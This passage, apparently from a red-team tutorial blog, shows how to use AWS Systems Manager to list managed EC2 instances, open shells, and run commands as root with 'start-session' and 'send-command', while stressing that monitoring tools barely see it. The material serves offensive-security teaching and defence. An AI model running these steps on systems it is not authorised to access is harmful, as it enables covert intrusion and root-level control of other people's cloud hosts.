srcset="https://substackcdn.com/image/fetch/$s_!5WHz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png 424w, https://substackcdn.com/image/fetch/$s_!5WHz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png 848w, https://substackcdn.com/image/fetch/$s_!5WHz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png 1272w, https://substackcdn.com/image/fetch/$s_!5WHz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5WHz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png" width="1080" height="391" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c8569abb-3534-48fe-af57-543920408a93_1080x391.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:391,&quot;width&quot;:1080,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:44082,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164878659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5WHz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png 424w, https://substackcdn.com/image/fetch/$s_!5WHz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png 848w, https://substackcdn.com/image/fetch/$s_!5WHz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png 1272w, https://substackcdn.com/image/fetch/$s_!5WHz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Enumerating EC2 instances which are managed by SSM</figcaption></figure></div><p>This returns a list of instance IDs, platform types, and online status. From ared team operator&#8217;s perspective, this is like identifying open ports on internal servers &#8212; except you're doing it via API calls and control-plane traffic, which is much less likely to be caught by EDR or NIDS.</p><p><strong>Step 2: Start a Session to a Target Instance</strong></p><p>Once a valid target is identified, the attacker can initiate an SSM session using:</p><pre><code>aws ssm start-session --target i-076184dc97cce1eba --region us-east-1</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OZh_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OZh_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png 424w, https://substackcdn.com/image/fetch/$s_!OZh_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png 848w, https://substackcdn.com/image/fetch/$s_!OZh_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png 1272w, https://substackcdn.com/image/fetch/$s_!OZh_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OZh_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png" width="1097" height="157" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:157,&quot;width&quot;:1097,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:20866,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164878659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OZh_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png 424w, https://substackcdn.com/image/fetch/$s_!OZh_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png 848w, https://substackcdn.com/image/fetch/$s_!OZh_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png 1272w, https://substackcdn.com/image/fetch/$s_!OZh_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d34730-4e36-40a5-8ddd-080933d40b9b_1097x157.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Launching an interactive shell via start-session</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JtY0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JtY0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png 424w, https://substackcdn.com/image/fetch/$s_!JtY0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png 848w, https://substackcdn.com/image/fetch/$s_!JtY0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png 1272w, https://substackcdn.com/image/fetch/$s_!JtY0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JtY0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png" width="1008" height="75" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:75,&quot;width&quot;:1008,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:5853,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164878659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JtY0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png 424w, https://substackcdn.com/image/fetch/$s_!JtY0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png 848w, https://substackcdn.com/image/fetch/$s_!JtY0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png 1272w, https://substackcdn.com/image/fetch/$s_!JtY0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0bf276c-5828-4bfa-8d0d-a88bc33e745c_1008x75.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">This shell does not have root access</figcaption></figure></div><blockquote><p>This requires AWS Session Manager plugin to be installed on the local machine. Instructions for the same can be found <a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html">here</a>.</p></blockquote><p>This launches an interactive shell directly into the EC2 instance. No SSH keys. No firewall exceptions. The connection is tunneled through AWS&#8217;s control infrastructure, making it nearly invisible to most monitoring tools focused on network or OS-level events.</p><p><strong>Step 3: Run Arbitrary Commands with </strong><code>send-command</code></p><p>Even if interactive shell access is blocked or restricted, the attacker can still run one-off commands using <code>send-command</code>:</p><pre><code>aws ssm send-command --instance-ids i-076184dc97cce1eba --document-name "AWS-RunShellScript" --parameters commands=["whoami"] --region us-east-1</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SATN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SATN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png 424w, https://substackcdn.com/image/fetch/$s_!SATN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png 848w, https://substackcdn.com/image/fetch/$s_!SATN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png 1272w, https://substackcdn.com/image/fetch/$s_!SATN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SATN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png" width="1115" height="387" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:387,&quot;width&quot;:1115,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:44818,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164878659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SATN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png 424w, https://substackcdn.com/image/fetch/$s_!SATN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png 848w, https://substackcdn.com/image/fetch/$s_!SATN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png 1272w, https://substackcdn.com/image/fetch/$s_!SATN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71f70596-b8ac-4500-8036-a70274e6b8df_1115x387.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Executing a command via send-command</figcaption></figure></div><p>To retrieve output:</p><pre><code>aws ssm get-command-invocation --command-id 62afa871-f535-44e3-8041-6216d52e5adc --instance-id i-076184dc97cce1eba</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FBwR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FBwR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png 424w, https://substackcdn.com/image/fetch/$s_!FBwR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png 848w, https://substackcdn.com/image/fetch/$s_!FBwR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png 1272w, https://substackcdn.com/image/fetch/$s_!FBwR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FBwR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png" width="1103" height="467" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:467,&quot;width&quot;:1103,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:58570,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164878659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FBwR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png 424w, https://substackcdn.com/image/fetch/$s_!FBwR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png 848w, https://substackcdn.com/image/fetch/$s_!FBwR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png 1272w, https://substackcdn.com/image/fetch/$s_!FBwR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9d510e3-7b55-4c8d-9d1e-784391fe1048_1103x467.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Fetching the output of the command executed via send-command</figcaption></figure></div><blockquote><p>A keen eye may have observed that commands executed via send-command execute as the root user. This means we can escalate privileges without needing any additional access or tools.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!miTj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!miTj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png 424w, https://substackcdn.com/image/fetch/$s_!miTj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png 848w, https://substackcdn.com/image/fetch/$s_!miTj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png 1272w, https://substackcdn.com/image/fetch/$s_!miTj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!miTj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png" width="654" height="225.25359712230215" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:383,&quot;width&quot;:1112,&quot;resizeWidth&quot;:654,&quot;bytes&quot;:45171,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164878659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!miTj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png 424w, https://substackcdn.com/image/fetch/$s_!miTj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png 848w, https://substackcdn.com/image/fetch/$s_!miTj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png 1272w, https://substackcdn.com/image/fetch/$s_!miTj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd32c2f6a-60f4-4300-ace9-d5fe6c588619_1112x383.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Verifying root access via send-command</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ulDh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ulDh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png 424w, 